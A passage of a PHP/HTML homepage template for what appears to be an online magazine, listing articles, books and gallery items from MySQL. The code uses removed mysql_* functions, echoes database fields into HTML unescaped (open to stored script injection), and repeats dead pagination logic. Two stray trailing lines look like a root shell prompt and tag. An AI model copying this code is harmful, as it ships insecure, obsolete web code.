				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From article where article_category_id  >= 25
AND article_category_id <= 29 order by id desc limit 1";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow= mb_substr($rowss[subject],0,180,'UTF-8');
$imagespicture = $rowss['images'];
$dates = $rowss['date'];
$content =  mb_substr($rowss[detail],0,100,'UTF-8');
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
                        <table width="220" border="0" cellspacing="1" cellpadding="1" >
                          <tr>
                            <td width="200" height="23" align="center" valign="middle"><div align="center"><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif">
                                <? 
							if ($imagespicture==""){
							echo "
			<img src='images/images_article/no_pic.jpg' WIDTH=150 HEIGHT=150 BORDER=0>";
							}else
							{
echo "<a href=content.php?id=$idxs  class=lightbox rel=flowers><img src='images/images_article/$imagespicture' WIDTH=150 HEIGHT=150  BORDER=0></a>"      ;
			}
?>
                                <br />
                                <? echo "<a href=content.php?id=$idxs>$productsNameShow</a>"; ?></span><br />
                                <span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo strip_tags("$content..."); ?></span></div></td>
                          </tr>
                          <tr>
                            <td height="7"><div align="center" style="font-size: 8pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><img src="images/line.gif" width="170" height="5" /></div></td>
                          </tr>
                        </table>
                      <?
}
}
?></td>
                    <td align="center" background="images/right.jpg"><img src="images/space.jpg" width="1" height="150" /></td>
                  </tr>
                  <tr>
                    <td align="center" background="images/left.jpg">&nbsp;</td>
                    <td align="center">&nbsp;</td>
                    <td align="center" background="images/right.jpg">&nbsp;</td>
                  </tr>
                  <tr>
                    <td><img src="images/buttonleft.jpg" width="18" height="19" /></td>
                    <td background="images/button2.jpg">&nbsp;</td>
                    <td><img src="images/buttonright.jpg" width="18" height="19" /></td>
                  </tr>
              </table></td>
              <td align="center"><table width="250" border="0" cellspacing="0" cellpadding="0" >
                <tr>
                  <td><img src="images/topleftframe.jpg" width="18" height="19" /></td>
                  <td background="images/top.jpg">&nbsp;</td>
                  <td><img src="images/toprightframe.jpg" width="18" height="19" /></td>
                </tr>
                <tr>
                  <td width="18" align="center" background="images/left.jpg">&nbsp;</td>
                  <td width="319" align="center" bgcolor="#F7941D"><div style="font-size: 12pt; color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif">Society</div></td>
                  <td width="13" align="center" background="images/right.jpg">&nbsp;</td>
                </tr>
                <tr>
                  <td height="178" align="center" background="images/left.jpg">&nbsp;</td>
                  <td align="center" valign="top"><?
$pages = $_GET['pages'];
$select_types="select * from article where article_category_id  >= 38
AND article_category_id <= 39 order by id desc  limit 1";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b></b></center>";
}else{
		$selects="select * from article where article_category_id  >= 38
AND article_category_id <= 39 order by id desc limit 1";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From article where article_category_id  >= 38
AND article_category_id <= 39 order by id desc limit 1";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow= mb_substr($rowss[subject],0,180,'UTF-8');
$imagespicture = $rowss['images'];
$dates = $rowss['date'];
$content =  mb_substr($rowss[detail],0,100,'UTF-8');
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
                      <table width="220" border="0" cellspacing="1" cellpadding="1" >
                        <tr>
                          <td width="200" height="23" align="center" valign="middle"><div align="center"><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif">
                              <? 
							if ($imagespicture==""){
							echo "
			<img src='images/images_article/no_pic.jpg' WIDTH=150 HEIGHT=150 BORDER=0>";
							}else
							{
echo "<a href=content.php?id=$idxs  class=lightbox rel=flowers><img src='images/images_article/$imagespicture' WIDTH=150 HEIGHT=150  BORDER=0></a>"      ;
			}
?>
                              <br />
                              <? echo "<a href=content.php?id=$idxs>$productsNameShow</a>"; ?></span><br />
                              <span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo strip_tags("$content..."); ?></span></div></td>
                        </tr>
                        <tr>
                          <td height="7"><div align="center" style="font-size: 8pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><img src="images/line.gif" width="170" height="5" /></div></td>
                        </tr>
                      </table>
                    <?
}
}
?></td>
                  <td align="center" background="images/right.jpg"><img src="images/space.jpg" width="1" height="150" /></td>
                </tr>
                <tr>
                  <td align="center" background="images/left.jpg">&nbsp;</td>
                  <td align="center"><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><a href="contentlist.php?PRD=7"></a></span></td>
                  <td align="center" background="images/right.jpg">&nbsp;</td>
                </tr>
                <tr>
                  <td><img src="images/buttonleft.jpg" width="18" height="19" /></td>
                  <td background="images/button2.jpg">&nbsp;</td>
                  <td><img src="images/buttonright.jpg" width="18" height="19" /></td>
                </tr>
              </table></td>
              <td align="center"><table width="250" border="0" cellspacing="0" cellpadding="0" >
                <tr>
                  <td><img src="images/topleftframe.jpg" width="18" height="19" /></td>
                  <td background="images/top.jpg">&nbsp;</td>
                  <td><img src="images/toprightframe.jpg" width="18" height="19" /></td>
                </tr>
                <tr>
                  <td width="18" align="center" background="images/left.jpg">&nbsp;</td>
                  <td width="319" align="center" bgcolor="#F7941D"><div style="font-size: 12pt; color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif">Column</div></td>
                  <td width="13" align="center" background="images/right.jpg">&nbsp;</td>
                </tr>
                <tr>
                  <td height="178" align="center" background="images/left.jpg">&nbsp;</td>
                  <td align="center" valign="top"><?
$pages = $_GET['pages'];
$select_types="select * from article where article_category_id  >= 10
AND article_category_id <= 13 order by id desc  limit 1";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b></b></center>";
}else{
		$selects="select * from article where article_category_id  >= 10
AND article_category_id <= 13 order by id desc limit 1";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From article where article_category_id  >= 10
AND article_category_id <= 13 order by id desc limit 1";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow= mb_substr($rowss[subject],0,180,'UTF-8');
$imagespicture = $rowss['images'];
$dates = $rowss['date'];
$content =  mb_substr($rowss[detail],0,100,'UTF-8');
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
                      <table width="220" border="0" cellspacing="1" cellpadding="1" >
                        <tr>
                          <td width="200" height="23" align="center" valign="middle"><div align="center"><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif">
                              <? 
							if ($imagespicture==""){
							echo "
			<img src='images/images_article/no_pic.jpg' WIDTH=150 HEIGHT=150 BORDER=0>";
							}else
							{
echo "<a href=content.php?id=$idxs  class=lightbox rel=flowers><img src='images/images_article/$imagespicture' WIDTH=150 HEIGHT=150  BORDER=0></a>"      ;
			}
?>
                              <br />
                              <? echo "<a href=content.php?id=$idxs>$productsNameShow</a>"; ?></span><br />
                              <span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo strip_tags("$content..."); ?></span></div></td>
                        </tr>
                        <tr>
                          <td height="7"><div align="center" style="font-size: 8pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><img src="images/line.gif" width="170" height="5" /></div></td>
                        </tr>
                      </table>
                    <?
}
}
?></td>
                  <td align="center" background="images/right.jpg"><img src="images/space.jpg" width="1" height="150" /></td>
                </tr>
                <tr>
                  <td align="center" background="images/left.jpg">&nbsp;</td>
                  <td align="center">&nbsp;</td>
                  <td align="center" background="images/right.jpg">&nbsp;</td>
                </tr>
                <tr>
                  <td><img src="images/buttonleft.jpg" width="18" height="19" /></td>
                  <td background="images/button2.jpg">&nbsp;</td>
                  <td><img src="images/buttonright.jpg" width="18" height="19" /></td>
                </tr>
              </table></td>
            </tr>
          </table></td>
          </tr>
        <tr>
          <td align="center">&nbsp;</td>
        </tr>
        
        <tr>
          <td><img src="images/tab2th.jpg" width="743" height="48" /></td>
            </tr>
            <tr>
                  <td height="167"><table width="711" border="0" cellspacing="0" cellpadding="0">
                    <tr>
                      <td width="256" rowspan="5" align="center"><table width="249" border="0" cellspacing="0" cellpadding="0" >
                        <tr>
                          <td width="18"><img src="images/topleftframe.jpg" width="18" height="19" /></td>
                          <td width="214" background="images/top.jpg">&nbsp;</td>
                          <td width="18"><img src="images/toprightframe.jpg" width="18" height="19" /></td>
                        </tr>
                        <tr>
                          <td align="center" background="images/left.jpg">&nbsp;</td>
                          <td align="center" valign="top"><?
$pages = $_GET['pages'];
$select_types="select * from article  order by id desc  limit 1,4";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b>ยังไม่มีการเพิ่มข้อมูลค่ะ</b></center>";
}else{
		$selects="select * from article order by id desc limit 1";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From article order by id desc limit 1";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow= mb_substr($rowss[subject],0,180,'UTF-8');
$imagespicture = $rowss['images'];
$dates = $rowss['date'];
$content =  mb_substr($rowss[detail],0,100,'UTF-8');
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
                            <table width="220" border="0" cellspacing="1" cellpadding="1" >
                              <tr>
                                <td height="23" align="center">      <fb:like layout='button_count' href='http://thebridgesmagazine.com/content.php?id=<? $idxs?> '></fb:like><? 
							if ($imagespicture==""){
							echo "
			<a href=content.php?id=$idxs target=_blank><img src='images/images_article/no_pic.jpg' WIDTH=150  BORDER=0></a>";
							}else
							{
echo "<a href=content.php?id=$idxs  class=lightbox rel=flowers><img src='images/images_article/$imagespicture' WIDTH=200  BORDER=0></a>"      ;
			}
?></td>
                              </tr>
                              <tr>
                                <td height="23" align="center"><span style="font-size: 12pt; color: #f3a340; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo "<a href=content.php?id=$idxs>$productsNameShow</a>"; ?></span></td>
                              </tr>
                              <tr>
                                <td width="611" height="23" align="center"><div align="center"><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo strip_tags("$content..."); ?></span></div></td>
                              </tr>
                              <tr>
                                <td height="7">&nbsp;</td>
                              </tr>
                            </table>
                            <?
}
}
?></td>
                          <td align="center" background="images/right.jpg"><img src="images/space.jpg" width="1" height="280" /></td>
                        </tr>
                        <tr>
                          <td><img src="images/buttonleft.jpg" width="18" height="19" /></td>
                          <td background="images/button2.jpg">&nbsp;</td>
                          <td><img src="images/buttonright.jpg" width="18" height="19" /></td>
                        </tr>
                      </table></td>
                      <td colspan="3" valign="top">&nbsp;</td>
                    </tr>
                    <tr>
                      <td valign="top"><img src="images/topleftframe.jpg" width="18" height="19" /></td>
                      <td valign="top" background="images/top.jpg">&nbsp;</td>
                      <td valign="top"><img src="images/toprightframe.jpg" width="18" height="19" /></td>
                    </tr>
                    <tr>
                      <td align="center" valign="top" background="images/left.jpg"><img src="images/space.jpg" width="1" height="280" /></td>
                      <td valign="top"><table width="450" border="0">
                    <?
$sqlpp="select * from article order by id desc  limit 1,8";
$checkpp=1;
$resultpp=mysql_db_query($db,$sqlpp);

while ($rspp=mysql_fetch_array($resultpp)) {


				if ($checkpp%4 ==1){
						echo "<TR>";
			}
?>
  <td width="609" height="20" align="center" valign="top" ><fb:like layout='button_count' href='http://thebridgesmagazine.com/content.php?id=<? echo $rspp[id]?> '></fb:like><? 
							if ($rspp[images]==""){
							echo "
			<a href=content.php?id=$rspp[id] target=_blank><img src='images/images_article/no_pic.jpg' WIDTH=100  BORDER=0></a>";
							}else
							{
$products_namepp = mb_substr($productsNameShow,0,20,'UTF-8');
$products_detail = mb_substr($rspp[detail],0,300,'UTF-8');

echo " <a href=content.php?id=$rspp[id] target=_blank><img src='images/images_article/$rspp[images]'  Width=110 height=80 BORDER=0></a>

<br><span style='color: #812D61; font-size: 9pt; font-weight: bold'> $rspp[subject] </span> "      ;
			}
?>  </td>
      <? 	if ($checkpp % 4== 0) {
												echo "</TR>";
												$checkpp=0;
										} 
										$checkpp++;
						   } 
						?>
                  </table></td>
                      <td valign="top" background="images/right.jpg">&nbsp;</td>
                    </tr>
                    <tr>
                      <td valign="top"><img src="images/buttonleft.jpg" width="18" height="19" /></td>
                      <td valign="top" background="images/button2.jpg">&nbsp;</td>
                      <td valign="top"><img src="images/buttonright.jpg" width="18" height="19" /></td>
                    </tr>
                    <tr>
                      <td width="18" valign="top">&nbsp;</td>
                      <td width="420" valign="top">&nbsp;</td>
                      <td width="18" valign="top">&nbsp;</td>
                    </tr>
                  </table></td>
            </tr>
            <tr>
              <td height="19" align="left" valign="middle"><table width="748" border="0" cellspacing="0" cellpadding="0">
                
                <tr>
                  <td width="18" valign="top"><img src="images/topleftframe.jpg" width="18" height="19" /></td>
                  <td width="700" valign="top" background="images/top.jpg">&nbsp;</td>
                  <td width="18" valign="top"><img src="images/toprightframe.jpg" width="18" height="19" /></td>
                </tr>
                <tr>
                  <td height="77" valign="top" background="images/left.jpg">&nbsp;</td>
                  <td valign="top"><?
$pages = $_GET['pages'];
$select_types="select * from book order by id desc";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b>ยังไม่มีการเพิ่มข้อมูลค่ะ</b></center>";
}else{
		$selects="select * from book order by id desc";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From book order by id desc limit $gotos,$pagesizes";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow = $rowss['title'];
$imagespicture = $rowss['cover1'];
$content = $rowss[message];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
                    <table width="600" border="0" cellspacing="1" cellpadding="1" >
                      <tr>
                        <td width="611" height="23"><div align="left" ></div>
                            <div align="left"></div>
                          <div align="center"> </div>
                          <div align="left">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0" >
                                <tr>
                                  <td width="33%" rowspan="2" align="center"><? 
							if ($imagespicture==""){
							echo "
			<img src='images/images_article/no_pic.jpg' WIDTH=150 HEIGHT=150 BORDER=0>";
							}else
							{
echo "<a href=$imagespicture  class=lightbox rel=flowers><img src='$imagespicture' WIDTH=200  BORDER=0></a>"      ;
			}
?></td>
                                  <td width="67%" height="104" align="right" valign="top"><table width="370" border="0" cellspacing="0" cellpadding="0">
                                      <tr>
                                        <td width="350"><div align="left" style="font-size: 12pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo "<a href=book.php?id=$idxs>$productsNameShow</a>"; ?></div>
                                        </td>
                                      </tr>
                                      <tr>
                                        <td><span style="font-size: 10pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo strip_tags("$content..."); ?></span></td>
                                      </tr>
                                  </table></td>
                                </tr>
                                <tr>
                                  <td align="right" valign="top"><a href="book.php?id=<?=$idxs?>"><img src="images/read_more_bg.gif" width="76" height="21" border="0" /></a></td>
                                </tr>
                              </table>
                          </div></td>
                      </tr>
                      <tr>
                        <td height="21"><div align="left" style="font-size: 8pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><img src="images/line.gif" width="600" height="5" /></div></td>
                      </tr>
                    </table>
                    <?
}
}
?></td>
                  <td valign="top" background="images/right.jpg">&nbsp;</td>
                </tr>
                <tr>
                  <td height="19" valign="top"><img src="images/buttonleft.jpg" width="18" height="19" /></td>
                  <td align="right" valign="top" background="images/button2.jpg">&nbsp;</td>
                  <td valign="top"><img src="images/buttonright.jpg" width="18" height="19" /></td>
                </tr>
                
              </table></td>
            </tr>
            <tr>
              <td height="19" align="left" valign="middle"><p>&nbsp;</p>
              <p><img src="images/galltab.jpg" width="743" height="44" /></p></td>
            </tr>
            <tr>
              <td height="167"><table width="748" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td width="13" rowspan="5" align="center">&nbsp;</td>
                  <td colspan="3" valign="top">&nbsp;</td>
                </tr>
                <tr>
                  <td valign="top"><img src="images/topleftframe.jpg" width="18" height="19" /></td>
                  <td valign="top" background="images/top.jpg">&nbsp;</td>
                  <td valign="top"><img src="images/toprightframe.jpg" width="18" height="19" /></td>
                </tr>
                <tr>
                  <td valign="top" background="images/left.jpg">&nbsp;</td>
                  <td valign="top"><table width="700" border="0">
                    <?
$sqlpp="select * from gallery order by id desc  limit 8";
$checkpp=1;
$resultpp=mysql_db_query($db,$sqlpp);

while ($rspp=mysql_fetch_array($resultpp)) {


				if ($checkpp%4 ==1){
						echo "<TR>";
			}
?>
  <td width="757" height="20" align="center" valign="middle" ><? 
							if ($rspp[img1]==""){
							echo "
			<a href=content.php?id=$rspp[id] target=_blank><img src='images/images_article/no_pic.jpg' WIDTH=100  BORDER=0></a>";
							}else
							{
$products_namepp = mb_substr($productsNameShow,0,20,'UTF-8');
$products_detail = mb_substr($rspp[detail],0,300,'UTF-8'); 

echo " <a href=media.php?id=$rspp[id] target=_blank><img src='images/gallery/$rspp[img1]'  Width=110  BORDER=0></a>

<br><span style='color: #812D61; font-size: 9pt; font-weight: bold'> $rspp[title] </span> "      ;
			}
?>  </td>
      <? 	if ($checkpp % 4== 0) {
												echo "</TR>";
												$checkpp=0;
										} 
										$checkpp++;
						   } 
						?>
                  </table></td>
                  <td valign="top" background="images/right.jpg">&nbsp;</td>
                </tr>
                <tr>
                  <td valign="top"><img src="images/buttonleft.jpg" width="18" height="19" /></td>
                  <td align="right" valign="top" background="images/button2.jpg">&nbsp;</td>
                  <td valign="top"><img src="images/buttonright.jpg" width="18" height="19" /></td>
                </tr>
                <tr>
                  <td width="18" valign="top">&nbsp;</td>
                  <td width="700" valign="top">&nbsp;</td>
                  <td width="18" valign="top">&nbsp;</td>
                </tr>
              </table></td>
            </tr>
            <tr>
              <td align="center" valign="top"  background="images/biglefts.jpg"><img src="images/bigcorners3.jpg" width="20" height="21" /></td>
              <td height="21"  background="images/bigbuttoms.jpg">&nbsp;</td>
              <td valign="top"  background="images/bigrights.jpg"><img src="images/bigcorners4.jpg" width="20" height="21" /></td>
            </tr>
                </table>
            <table width="630" border="0" cellspacing="0" cellpadding="0">
<tr>
                <td></td>
            </tr>
        </table></td>
          <td width="1" bgcolor="#FFFFFF"></td>
        </tr>
      </table>
</div></td><? include("footer.php");?>
</body>
</html>

T1KUS90T
  root-grov@210.1.60.28:~$